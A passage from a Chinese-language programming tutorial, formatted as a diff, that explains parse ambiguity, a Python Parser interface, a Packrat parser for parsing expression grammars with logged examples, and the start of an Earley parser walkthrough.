y="-105.8"><A></text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-54.8">a</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="55.5" y="-54.8"><A></text></g> <g class="edge" id="edge5"><title>3->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="37.5" y="-3.8">a</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="72.5" y="-3.8"><A></text></g> <g class="edge" id="edge7"><title>5->7</title></g></g></svg>
+
+#### 歧义
+
+为了使问题进一步复杂化，可能有多个派生树（也称为*解析*），它们对应于同一语法中的同一字符串。 例如，字符串`1+2+3`可以通过以下两种方式使用`A1_GRAMMAR`进行解析
+
+```py
+mystring = '1+2+3'
+tree = ('<start>',
+        [('<expr>',
+          [('<expr>', [('<expr>', [('<integer>', [('<digit>', [('1', [])])])]),
+                       ('+', []),
+                       ('<expr>', [('<integer>',
+                                    [('<digit>', [('2', [])])])])]), ('+', []),
+           ('<expr>', [('<integer>', [('<digit>', [('3', [])])])])])])
+assert mystring == tree_to_string(tree)
+display_tree(tree)
+
+```
+
+<svg height="329pt" viewBox="0.00 0.00 215.00 329.00" width="215pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 325)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130.5" y="-309.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130.5" y="-258.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="81.5" y="-207.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130.5" y="-207.8">+</text></g> <g class="edge" id="edge12"><title>1->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="176.5" y="-207.8"><expr></text></g> <g class="edge" id="edge13"><title>1->13</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><expr></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-156.8">+</text></g> <g class="edge" id="edge7"><title>2->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-156.8"><expr></text></g> <g class="edge" id="edge8"><title>2->8</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><integer></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8"><digit></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-3.8">1</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-105.8"><integer></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-54.8"><digit></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112.5" y="-3.8">2</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-156.8"><integer></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-105.8"><digit></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-54.8">3</text></g> <g class="edge" id="edge16"><title>15->16</title></g></g></svg>
+
+```py
+tree = ('<start>',
+        [('<expr>', [('<expr>', [('<integer>', [('<digit>', [('1', [])])])]),
+                     ('+', []),
+                     ('<expr>',
+                      [('<expr>', [('<integer>', [('<digit>', [('2', [])])])]),
+                       ('+', []),
+                       ('<expr>', [('<integer>', [('<digit>', [('3',
+                                                                [])])])])])])])
+assert tree_to_string(tree) == mystring
+display_tree(tree)
+
+```
+
+<svg height="329pt" viewBox="0.00 0.00 215.00 329.00" width="215pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 325)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="87.5" y="-309.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="87.5" y="-258.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="38.5" y="-207.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="87.5" y="-207.8">+</text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="133.5" y="-207.8"><expr></text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><integer></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><digit></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8">1</text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="93.5" y="-156.8"><expr></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="136.5" y="-156.8">+</text></g> <g class="edge" id="edge12"><title>7->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-156.8"><expr></text></g> <g class="edge" id="edge13"><title>7->13</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="94.5" y="-105.8"><integer></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="94.5" y="-54.8"><digit></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="94.5" y="-3.8">2</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-105.8"><integer></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-54.8"><digit></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-3.8">3</text></g> <g class="edge" id="edge16"><title>15->16</title></g></g></svg>
+
+有许多解决歧义的方法。 下一节中解释的*解析表达式语法*采取的一种方法是指定特定的分辨率顺序，然后选择第一个。 另一种方法是简单地返回所有可能的派生树，这是我们稍后开发的 *Earley解析器*所采用的方法。
+
+接下来，我们开发不同的解析器。 为此，我们定义了一个最小的解析接口，所有解析器都遵守该接口。 有两种使用语法解析字符串的方法。
+
+1.  传统方法是使用*词法分析器*（也称为*标记器*或*扫描器*）首先标记输入的字符串，然后在一个 时间。 该词法分析器通常是一个较小的解析器，它接受*常规语言*。 这种方法的优点是解析器使用的语法可以避开令牌化的细节。 此外，在解析结束时得到一浅层推导树，该树可直接用于生成*抽象语法树*。
+2.  第二种方法是在完整解析之后使用树修剪器。 通过这种方法，可以使用一种语法，其中包含语法的完整细节。 接下来，修剪对应于令牌的节点，并用其对应的字符串替换为叶节点。 此方法的实用性是解析器功能更强大，并且*词法分析*和*语法分析*之间没有人为的区别。
+
+在本章中，我们使用第二种方法。 此方法在`prune_tree`方法中实现。
+
+我们在下面定义的 *Parser* 类提供了最小的接口。 实现此接口的类需要实现的主要方法是`parse_prefix`和`parse`。 `parse_prefix`返回一个元组，该元组包含直到成功完成解析为止的索引，以及直到该索引为止的解析林。 如果解析成功，则方法`parse`返回派生树的列表。
+
+```py
+class Parser(object):
+    def __init__(self, grammar, **kwargs):
+        self._grammar = grammar
+        self._start_symbol = kwargs.get('start_symbol', START_SYMBOL)
+        self.log = kwargs.get('log', False)
+        self.coalesce_tokens = kwargs.get('coalesce', True)
+        self.tokens = kwargs.get('tokens', set())
+
+    def grammar(self):
+        return self._grammar
+
+    def start_symbol(self):
+        return self._start_symbol
+
+    def parse_prefix(self, text):
+        """Return pair (cursor, forest) for longest prefix of text"""
+        raise NotImplemented()
+
+    def parse(self, text):
+        cursor, forest = self.parse_prefix(text)
+        if cursor < len(text):
+            raise SyntaxError("at " + repr(text[cursor:]))
+        return [self.prune_tree(tree) for tree in forest]
+
+    def coalesce(self, children):
+        last = ''
+        new_lst = []
+        for cn, cc in children:
+            if cn not in self._grammar:
+                last += cn
+            else:
+                if last:
+                    new_lst.append((last, []))
+                    last = ''
+                new_lst.append((cn, cc))
+        if last:
+            new_lst.append((last, []))
+        return new_lst
+
+    def prune_tree(self, tree):
+        name, children = tree
+        if self.coalesce_tokens:
+            children = self.coalesce(children)
+        if name in self.tokens:
+            return (name, [(tree_to_string(tree), [])])
+        else:
+            return (name, [self.prune_tree(c) for c in children])
+
+```
+
+## 解析表达式语法
+
+*[解析表达语法](http://bford.info/pub/lang/peg)* （ *PEG* ）[ [Ford *等人*，2004。](https://doi.org/10.1145/982962.964011)是*基于识别的形式语法*，用于指定解析给定字符串所要采取的步骤顺序。 *解析表达语法*与*上下文无关的语法*（ *CFG* ）非常相似，例如我们在[语法](Grammars.html)一章中看到的语法 ]。 与CFG中一样，解析表达式语法由一组非终结符和相应的替代项表示，该替代项代表如何匹配每个语法。 例如，这是与`a`或`b`匹配的PEG。
+
+```py
+PEG1 = {
+    '<start>': ['a', 'b']
+}
+
+```
+
+但是，与 *CFG* 不同，替代方案表示*有序选择*。 也就是说，我们没有选择所有可能匹配的规则，而是在成功的第一个匹配处停止。 例如，下面的 *PEG* 可以与`ab`匹配，但与 *CFG* 都可以匹配的`abc`不匹配。 （我们将有序选择表达式*选择表达式*的序列，而不是使与 *CFG* 区别清楚的替代方案。）
+
+```py
+PEG2 = {
+    '<start>': ['ab', 'abc']
+}
+
+```
+
+*选择表达式*中的每个选择代表有关如何满足该特定选择的规则。 选择是与 *CFG* 中的给定文本匹配的符号序列（末端和非末端）。
+
+除了到目前为止我们所看到的语法定义的语法之外， *PEG* 还可以包含一些其他元素。 有关更多信息，请参见本章末尾的练习。
+
+PEG为手写递归下降解析器中的典型实践建模，因此可以认为它更直观易懂。 接下来我们看一下PEG的解析器。
+
+### 谓词表达语法的Packrat解析器
+
+缺少手动旋转解析器的功能， *Packrat* 解析是最简单的解析技术之一，也是解析PEG的技术之一。 *Packrat* 解析器之所以如此命名，是因为它试图缓存来自较简单问题的所有结果，以希望这些解决方案可用于以后避免重新计算。 接下来，我们将开发一个最小的 *Packrat* 解析器。
+
+但是在此之前，我们需要实现一些支持工具。
+
+我们从关于语法的[一章中导入的`EXPR_GRAMMAR`面向生成。 具体来说，生产规则存储为字符串。 我们需要稍微修饰一下此表示，以使其符合规范表示，其中规则中的每个标记都单独表示。 `canonical`格式使用单独的标记表示扩展中的每个符号。](Grammars.html)
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+def canonical(grammar, letters=False):
+    def split(expansion):
+        if isinstance(expansion, tuple):
+            expansion = expansion[0]
+
+        return [token for token in re.split(
+            RE_NONTERMINAL, expansion) if token]
+
+    def tokenize(word):
+        return list(word) if letters else [word]
+
+    def canonical_expr(expression):
+        return [
+            token for word in split(expression)
+            for token in ([word] if word in grammar else tokenize(word))
+        ]
+
+    return {
+        k: [canonical_expr(expression) for expression in alternatives]
+        for k, alternatives in grammar.items()
+    }
+
+```
+
+```py
+canonical(EXPR_GRAMMAR)
+
+```
+
+```py
+{'<start>': [['<expr>']],
+ '<expr>': [['<term>', ' + ', '<expr>'],
+  ['<term>', ' - ', '<expr>'],
+  ['<term>']],
+ '<term>': [['<factor>', ' * ', '<term>'],
+  ['<factor>', ' / ', '<term>'],
+  ['<factor>']],
+ '<factor>': [['+', '<factor>'],
+  ['-', '<factor>'],
+  ['(', '<expr>', ')'],
+  ['<integer>', '.', '<integer>'],
+  ['<integer>']],
+ '<integer>': [['<digit>', '<integer>'], ['<digit>']],
+ '<digit>': [['0'],
+  ['1'],
+  ['2'],
+  ['3'],
+  ['4'],
+  ['5'],
+  ['6'],
+  ['7'],
+  ['8'],
+  ['9']]}
+
+```
+
+在解析过程中使用`canonical`表示更容易。 因此，我们更新了解析器类以存储`canonical`表示形式。
+
+```py
+class Parser(Parser):
+    def __init__(self, grammar, **kwargs):
+        self._grammar = grammar
+        self._start_symbol = kwargs.get('start_symbol', START_SYMBOL)
+        self.log = kwargs.get('log', False)
+        self.tokens = kwargs.get('tokens', set())
+        self.coalesce_tokens = kwargs.get('coalesce', True)
+        self.cgrammar = canonical(grammar)
+
+```
+
+### 解析器
+
+我们首先从`Parser`基类派生，然后接受`parse()`方法中要解析的文本，该方法进而将`unify_key()`与`start_symbol`一起调用。
+
+**注意。** 虽然我们的PEG解析器只能生成一个唯一的解析树，但其他解析器却可以为歧义语法生成多个解析。 因此，我们返回树的列表（在本例中为单个元素）。
+
+```py
+class PEGParser(Parser):
+    def parse_prefix(self, text):
+        cursor, tree = self.unify_key(self.start_symbol(), text, 0)
+        return cursor, [tree]
+
+```
+
+#### 统一密钥
+
+`unify_key()`算法很简单。 如果给定终端符号，它将尝试使符号与文本中的当前位置匹配。 如果符号和文本匹配，它将成功返回新的分析索引`at`。
+
+另一方面，如果给它一个非终结符，它将检索对应于键的选择表达式，并尝试使用`unify_rule()`按顺序匹配每个选择*。 如果**中的任何**规则都成功与给定文本统一，则该解析被视为成功，并且我们将返回`unify_rule()`返回的新解析索引。*
+
+```py
+class PEGParser(PEGParser):
+    def unify_key(self, key, text, at=0):
+        if self.log:
+            print("unify_key: %s with %s" % (repr(key), repr(text[at:])))
+        if key not in self.cgrammar:
+            if text[at:].startswith(key):
+                return at + len(key), (key, [])
+            else:
+                return at, None
+        for rule in self.cgrammar[key]:
+            to, res = self.unify_rule(rule, text, at)
+            if res:
+                return (to, (key, res))
+        return 0, None
+
+```
+
+```py
+mystring = "1"
+peg = PEGParser(EXPR_GRAMMAR, log=True)
+peg.unify_key('1', mystring)
+
+```
+
+```py
+unify_key: '1' with '1'
+
+```
+
+```py
+(1, ('1', []))
+
+```
+
+```py
+mystring = "2"
+peg.unify_key('1', mystring)
+
+```
+
+```py
+unify_key: '1' with '2'
+
+```
+
+```py
+(0, None)
+
+```
+
+#### 统一规则
+
+`unify_rule()`方法相似。 它检索与需要与文本统一的规则相对应的标记，并依次对它们调用`unify_key()`。 如果**所有**令牌与文本成功统一，则解析成功。
+
+```py
+class PEGParser(PEGParser):
+    def unify_rule(self, rule, text, at):
+        if self.log:
+            print('unify_rule: %s with %s' % (repr(rule), repr(text[at:])))
+        results = []
+        for token in rule:
+            at, res = self.unify_key(token, text, at)
+            if res is None:
+                return at, None
+            results.append(res)
+        return at, results
+
+```
+
+```py
+mystring = "0"
+peg = PEGParser(EXPR_GRAMMAR, log=True)
+peg.unify_rule(peg.cgrammar['<digit>'][0], mystring, 0)
+
+```
+
+```py
+unify_rule: ['0'] with '0'
+unify_key: '0' with '0'
+
+```
+
+```py
+(1, [('0', [])])
+
+```
+
+```py
+mystring = "12"
+peg.unify_rule(peg.cgrammar['<integer>'][0], mystring, 0)
+
+```
+
+```py
+unify_rule: ['<digit>', '<integer>'] with '12'
+unify_key: '<digit>' with '12'
+unify_rule: ['0'] with '12'
+unify_key: '0' with '12'
+unify_rule: ['1'] with '12'
+unify_key: '1' with '12'
+unify_key: '<integer>' with '2'
+unify_rule: ['<digit>', '<integer>'] with '2'
+unify_key: '<digit>' with '2'
+unify_rule: ['0'] with '2'
+unify_key: '0' with '2'
+unify_rule: ['1'] with '2'
+unify_key: '1' with '2'
+unify_rule: ['2'] with '2'
+unify_key: '2' with '2'
+unify_key: '<integer>' with ''
+unify_rule: ['<digit>', '<integer>'] with ''
+unify_key: '<digit>' with ''
+unify_rule: ['0'] with ''
+unify_key: '0' with ''
+unify_rule: ['1'] with ''
+unify_key: '1' with ''
+unify_rule: ['2'] with ''
+unify_key: '2' with ''
+unify_rule: ['3'] with ''
+unify_key: '3' with ''
+unify_rule: ['4'] with ''
+unify_key: '4' with ''
+unify_rule: ['5'] with ''
+unify_key: '5' with ''
+unify_rule: ['6'] with ''
+unify_key: '6' with ''
+unify_rule: ['7'] with ''
+unify_key: '7' with ''
+unify_rule: ['8'] with ''
+unify_key: '8' with ''
+unify_rule: ['9'] with ''
+unify_key: '9' with ''
+unify_rule: ['<digit>'] with ''
+unify_key: '<digit>' with ''
+unify_rule: ['0'] with ''
+unify_key: '0' with ''
+unify_rule: ['1'] with ''
+unify_key: '1' with ''
+unify_rule: ['2'] with ''
+unify_key: '2' with ''
+unify_rule: ['3'] with ''
+unify_key: '3' with ''
+unify_rule: ['4'] with ''
+unify_key: '4' with ''
+unify_rule: ['5'] with ''
+unify_key: '5' with ''
+unify_rule: ['6'] with ''
+unify_key: '6' with ''
+unify_rule: ['7'] with ''
+unify_key: '7' with ''
+unify_rule: ['8'] with ''
+unify_key: '8' with ''
+unify_rule: ['9'] with ''
+unify_key: '9' with ''
+unify_rule: ['<digit>'] with '2'
+unify_key: '<digit>' with '2'
+unify_rule: ['0'] with '2'
+unify_key: '0' with '2'
+unify_rule: ['1'] with '2'
+unify_key: '1' with '2'
+unify_rule: ['2'] with '2'
+unify_key: '2' with '2'
+
+```
+
+```py
+(2, [('<digit>', [('1', [])]), ('<integer>', [('<digit>', [('2', [])])])])
+
+```
+
+```py
+mystring = "1 + 2"
+peg = PEGParser(EXPR_GRAMMAR, log=False)
+peg.parse(mystring)
+
+```
+
+```py
+[('<start>',
+  [('<expr>',
+    [('<term>', [('<factor>', [('<integer>', [('<digit>', [('1', [])])])])]),
+     (' + ', []),
+     ('<expr>',
+      [('<term>',
+        [('<factor>', [('<integer>', [('<digit>', [('2', [])])])])])])])])]
+
+```
+
+这两种方法是相互递归的，并且假设`unify_key()`会尝试每个替代方法直到成功，`unify_key`可以使用相同的参数多次调用。 因此，记住`unify_key`的结果很重要。 Python提供了一个简单的装饰器`lru_cache`，用于记住任何具有可哈希参数的函数调用。 我们将其添加到实现中，以便使用相同的参数重复调用`unify_key()`可获得缓存的结果。
+
+该提示为算法提供了名称- *Packrat* 。
+
+```py
+from [functools](https://docs.python.org/3/library/functools.html) import lru_cache
+
+```
+
+```py
+class PEGParser(PEGParser):
+    @lru_cache(maxsize=None)
+    def unify_key(self, key, text, at=0):
+        if key not in self.cgrammar:
+            if text[at:].startswith(key):
+                return at + len(key), (key, [])
+            else:
+                return at, None
+        for rule in self.cgrammar[key]:
+            to, res = self.unify_rule(rule, text, at)
+            if res:
+                return (to, (key, res))
+        return 0, None
+
+```
+
+我们将`PEGParser`的初始化和调用包装在`Parser`基类中已经实现的方法`parse()`中，该方法接受要与语法一起解析的文本。
+
+这是我们的解析器的一些示例。
+
+```py
+mystring = "1 + (2 * 3)"
+peg = PEGParser(EXPR_GRAMMAR)
+for tree in peg.parse(mystring):
+    assert tree_to_string(tree) == mystring
+    display_tree(tree)
+
+```
+
+```py
+mystring = "1 * (2 + 3.35)"
+for tree in peg.parse(mystring):
+    assert tree_to_string(tree) == mystring
+    display_tree(tree)
+
+```
+
+应该知道，虽然语法看起来像 *CFG* ，但 *PEG* 所描述的语言可能有所不同。 实际上，只有 *LL（1）*语法可以保证代表PEG和其他解析器的相同语言。 PEG对其他类别语法的行为可能令人惊讶[ [Redziejowski *等*，2008。](http://dl.acm.org/citation.cfm?id=2365896.2365924)。
+
+## 解析上下文无关文法
+
+### PEG 出现问题
+
+虽然 *PEG* 乍看之下很简单，但在某些情况下它们的行为可能有点不直观。 例如，下面是一个示例[未解决的引用：redziejowski。]：
+
+```py
+PEG_SURPRISE = {
+    "<A>": ["a<A>a", "aa"]
+}
+
+```
+
+当解释为 *CFG* 并用作字符串生成器时，它将生成格式为`aa, aaaa, aaaaaa`的字符串，即，生成的字符串中`a`的数量为$ 2 * n $其中$ n > 0 $。
+
+```py
+strings = []
+for e in range(4):
+    f = GrammarFuzzer(PEG_SURPRISE, start_symbol='<A>')
+    tree = ('<A>', None)
+    for _ in range(e):
+        tree = f.expand_tree_once(tree)
+    tree = f.expand_tree_with_strategy(tree, f.expand_node_min_cost)
+    strings.append(tree_to_string(tree))
+    display_tree(tree)
+strings
+
+```
+
+```py
+['aa', 'aaaa', 'aaaaaa', 'aaaaaaaa']
+
+```
+
+但是， *PEG* 解析器只能识别形式为$ 2 ^ n $的字符串
+
+```py
+peg = PEGParser(PEG_SURPRISE, start_symbol='<A>')
+for s in strings:
+    with ExpectError():
+        for tree in peg.parse(s):
+            display_tree(tree)
+        print(s)
+
+```
+
+```py
+aa
+aaaa
+aaaaaaaa
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-70-dec55ebf796e>", line 4, in <module>
+    for tree in peg.parse(s):
+  File "<ipython-input-49-abe75b43d33f>", line 22, in parse
+    raise SyntaxError("at " + repr(text[cursor:]))
+  File "<string>", line None
+SyntaxError: at 'aa' (expected)
+
+```
+
+这不是*分析表达式语法*的唯一问题。 尽管 *PEG* 是表达性的，而用于解析它们的 *packrat* 解析器却简单而直观，但是 *PEG* 出于我们的目的而存在严重不足。 *PEG* 面向语言识别，尚不清楚如何将任意 *PEG* 转换为 *CFG* 。 正如我们之前提到的，将 *PEG* 天真地重新解释为 *CFG* 的效果不是很好。 此外，还不清楚 *PEG* 表示的语言类别与 *CFG* 表示的语言类别之间的确切关系是什么。 由于我们的主要关注点是*模糊化*-即字符串的*生成*-，因此我们接下来来看一下*解析器，该解析器可以接受上下文无关的语法*。
+
+*CFG* 解析器的总体思想如下：窥视输入文本以获取允许的字符数，并使用它们以及解析器的状态来确定可以应用哪些规则来完成解析。 接下来，我们来看一个典型的 *CFG* 解析算法，Earley Parser。
+
+### Earley解析器
+
+Earley解析器是一种通用解析器，它能够解析任意 *CFG* 。 它是由Jay Earley [ [Earley *等人*，1970。](https://doi.org/10.1145/362007.362035)]发明的，用于计算语言学。 虽然解析具有任意语法的字符串的计算复杂度为$ O（n ^ 3）$，但它可以在$ O（n ^ 2）$的时间内解析所有语法清晰的字符串，并且所有 *[LR（k）](https://en.wikipedia.org/wiki/LR_parser)* 线性时间语法（$ O（n）$ [ [Joop MIM Leo，1991。](https://doi.org/https://doi.org/10.1016/0304-3975(91)90180-A)]）。 Aycock等人发明了进一步的改进，特别是处理epsilon规则。 [John Aycock *等人*，2002。]。
+
+请注意，我们实现的一个限制是开始符号在其替代表达式中只能有一个替代。 这实际上不受限制，因为可以用一个以原始开始符号作为唯一选择的新开始符号来扩展任何具有多个替代其开始符号的语法。 也就是说，给定以下语法，
+
+```py
+grammar = {
+    '<start>': ['<A>', '<B>'],
+    ...
+}
+```
+
+可以按照下面的*单备*规则重写它。
+
+```py
+grammar = {
+    '<start>': ['<start_>'],
+    '<start_>': ['<A>', '<B>'],
+    ...
+}
+```
+
+我们首先实现一个更简单的解析器，该解析器几乎是所有 *CFG* 的解析器。 特别是，我们的解析器不理解 *epsilon规则* –派生空字符串的规则。 稍后我们将展示如何扩展解析器来处理这些解析器。
+
+在下面的示例中，我们使用以下语法。
+
+```py
+SAMPLE_GRAMMAR = {
+    '<start>': ['<A><B>'],
+    '<A>': ['a<B>c', 'a<A>'],
+    '<B>': ['b<C>', '<D>'],
+    '<C>': ['c'],
+    '<D>': ['d']
+}
+C_SAMPLE_GRAMMAR = canonical(SAMPLE_GRAMMAR)
+
+```
+
+```py
+syntax_diagram(SAMPLE_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 197.0 62" width="197.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">A</text></g> <g class="non-terminal"><text x="122.75" y="35">B</text></g></g></g></g></svg>
+
+```py
+A
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 245.5 92" width="245.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">a</text></g> <g class="non-terminal"><text x="122.75" y="35">B</text></g> <g class="terminal"><text x="171.25" y="35">c</text></g></g> <g><g class="terminal"><text x="98.5" y="65">a</text></g> <g class="non-terminal"><text x="147.0" y="65">A</text></g></g></g></g></svg>
+
+```py
+B
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 197.0 92" width="197.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">b</text></g> <g class="non-terminal"><text x="122.75" y="35">C</text></g></g> <g><g class="non-terminal"><text x="98.5" y="65">D</text></g></g></g></g></svg>
+
+```py
+C
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">c</text></g></g></g></g></svg>
+
+```py
+D
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">d</text></g></g></g></g></svg>
+
+Earley解析的基本思想如下：
+
+*   从与START_SYMBOL对应的替代表达式开始。 这些代表从高层解析字符串的可能方法。 本质上，每个表达式都代表一个解析路径。 将每个表达式放在我们可能的字符串解析集中。 表达式的解析索引是已经识别的表达式部分。 在分析的开始，所有表达式的分析索引都在开始。 此外，每个字母都有一个表达式队列，可以在我们的解析中识别该字母。
+*   检查我们可能解析的队列，并检查其中是否有非终结符开头。 如果是这样，则在解析给定规则之前，需要从输入中识别该非终结符。 因此，将与非终结符相对应的替代表达式添加到队列中。 递归执行此操作。
+*   至此，我们已准备好前进。 检查输入中的当前字母，并选择在解析索引处具有该特定字母的所有表达式。 这些表达式现在可以前进一个步骤。 通过增加它们的解析索引来前进这些选定的表达式，并将它们添加到排队的表达式队列中，以识别下一个输入字母。
+*   如果在执行这些操作时发现任何表达式已完成解析，我们将获取其对应的非终结符，并在其解析索引处推进所有具有该非终结符的表达式。
+*   递归地继续此过程，直到处理完我们排队等待当前字母的所有表达式为止。 然后开始处理下一个字母的队列。
+
+我们将在接下来的部分中通过示例详细解释每个步骤。
+
+解析器使用动态编程来生成一个表，该表包含每个字母索引处可能包含解析的*森林–该表包含与输入中的字母一样多的列，并且每个列在不同阶段包含不同的解析规则 的解析。*
+
+例如，给定输入`adcd`，列0将包含以下内容：
+
+```py
+<start> : ● <A> <B>
+```
+
+这是表明我们当前正在解析规则`<start>`的起始规则，并且解析状态就在识别符号`<A>`之前。 它还将包含以下内容，这是完成解析可能要采用的两条替代路径。
+
+```py
+<A> : ● a <B> c
+<A> : ● a <A>
+```
+
+第1列将包含以下内容，表示读取`a`之后可能完成的操作。
+
+```py
+<A> : a ● <B> c
+<A> : a ● <A>
+<B> : ● b <C>
+<B> : ● <D>
+<A> : ● a <B> c
+<A> : ● a <A>
+<D> : ● d
+```
+
+阅读`d`后，第2列将包含以下内容
+
+```py
+<D> : d ●
+<B> : <D> ●
+<A> : a <B> ● c
+```
+
+同样，第3列在阅读`c`之后将包含以下内容
+
+```py
